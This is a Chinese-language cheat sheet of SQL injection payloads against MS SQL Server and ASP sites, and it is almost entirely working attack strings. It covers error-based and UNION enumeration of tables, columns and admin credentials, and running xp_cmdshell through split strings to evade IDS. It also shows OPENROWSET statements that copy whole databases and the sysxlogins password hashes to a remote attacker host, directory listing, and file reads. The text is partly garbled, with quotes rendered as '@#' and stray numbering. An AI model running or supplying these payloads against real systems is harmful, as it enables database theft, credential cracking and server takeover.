and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=@#U@#) 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=@#U@# and name not in (@#Admin@#)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=@#U@# and name=@#admin@#
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(@#id@#,...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段

Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin

@#and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=@#u@# and status>0) where name=@#ffff@#;--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff@#;update [users] set email=(select top 1 id from sysobjects where xtype=@#u@# and name=@#ad@#) where name=@#ffff@#;--

象下面这样就可以得到第二个表的名字了
ffff@#;update [users] set email=(select top 1 name from sysobjects where xtype=@#u@# and id>581577110) where name=@#ffff@#;--
ffff@#;update [users] set email=(select top 1 count(id) from password) where name=@#ffff@#;--
ffff@#;update [users] set email=(select top 1 pwd from password where id=2) where name=@#ffff@#;--

扩展存储就可以通过一般的方法调用:

一旦这个扩展存储执行过,可以这样删除它:

insert into users values( 667,123,123,0xffff)-

insert into users values ( 123, @#admin@#@#--@#, @#password@#, 0xffff)-

;and user>0

-----------------------------------------------------------通常注射的一些介绍:
A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
select * from 表名 where 字段=@#连续剧@#
注入的参数为Class=连续剧@# and [查询条件] and @#@#=@# ,即是生成语句:
select * from 表名 where 字段=@#连续剧@# and [查询条件] and @#@#=@#@#
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
select * from 表名 where 字段like @#%关键字%@#
注入的参数为keyword=@# and [查询条件] and @#%25@#=@#, 即是生成语句:
select * from 表名 where字段like @#%@# and [查询条件] and @#%@#=@#%@#
;;and (select Top 1 name from sysobjects where xtype=@#U@# and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=@#U@# and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
;;and (select Top 1 col_name(object_id(@#表名@#),1) from sysobjects)>0
从⑤拿到表名后,用object_id(@#表名@#)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。


post.htm内容:主要是方便输入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=@#u@# and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=@#u@# and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>@#刚才得到的表名@#)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=@#u@# and status>0 and name<>@#vote@#);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(@#表名@#),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(@#表名@#),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>@#你得到的表名@# 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in(@#table1@#,@#table2@#,…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(@#要查询的数据表名@#),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]
declare @a sysname set @a=@#xp_@#+@#cmdshell@# exec @a @#dir c:\@#
declare @a sysname set @a=@#xp@#+@#_cm@#+@#dshell@# exec @a @#dir c:\@#


1、 开启远程数据库
基本语法
select * from OPENROWSET(@#SQLOLEDB@#, @#server=servername;uid=sa;pwd=apachy_123@#, @#select * from table1@# )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何和端口用来连接,比如
select * from OPENROWSET(@#SQLOLEDB@#, @#uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;@#, @#select * from table@#

要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。

基本语法:
insert into OPENROWSET(@#SQLOLEDB@#, @#server=servername;uid=sa;pwd=apachy_123@#, @#select * from table1@#) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(@#SQLOLEDB@#, @#uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;@#, @#select * from table1@#) select * from table2

insert into OPENROWSET(@#SQLOLEDB@#, @#uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;@#, @#select * from _sysdatabases@#)
select * from master.dbo.sysdatabases

insert into OPENROWSET(@#SQLOLEDB@#, @#uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;@#, @#select * from _sysobjects@#)
select * from user_database.dbo.sysobjects

insert into OPENROWSET(@#SQLOLEDB@#, @#uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;@#, @#select * from _syscolumns@#)
select * from user_database.dbo.syscolumns

之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:
insert into OPENROWSET(@#SQLOLEDB@#, @#uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;@#, @#select * from table1@#) select * from database..table1

insert into OPENROWSET(@#SQLOLEDB@#, @#uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;@#, @#select * from table2@#) select * from database..table2

......

3、 复4、 制哈西表(HASH)

这实际上是上述复5、 制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET(@#SQLOLEDB@#, @#uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;@#, @#select * from _sysxlogins@#) select * from database.dbo.sysxlogins
得到hash之后,6、 就可以进行暴力破解。这需要一点运气和大量时间。


遍历目录的方法:
先创建一个临时表:temp
@#5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5@#;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5@#;insert into temp(id) exec master.dbo.xp_subdirs @#c:\@#;-- 获得子目录列表
5@#;insert into temp(id,num1) exec master.dbo.xp_dirtree @#c:\@#;-- 获得所有子目录的目录树结构,并寸入temp表中

5@#;insert into temp(id) exec master.dbo.xp_cmdshell @#type c:\web\index.asp@#;-- 查看某个文件的内容
5@#;insert into temp(id) exec master.dbo.xp_cmdshell @#dir c:\@#;--
5@#;insert into temp(id) exec master.dbo.xp_cmdshell @#dir c:\ *.asp /s/a@#;--
5@#;insert into temp(id) exec master.dbo.xp_cmdshell @#cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc@#
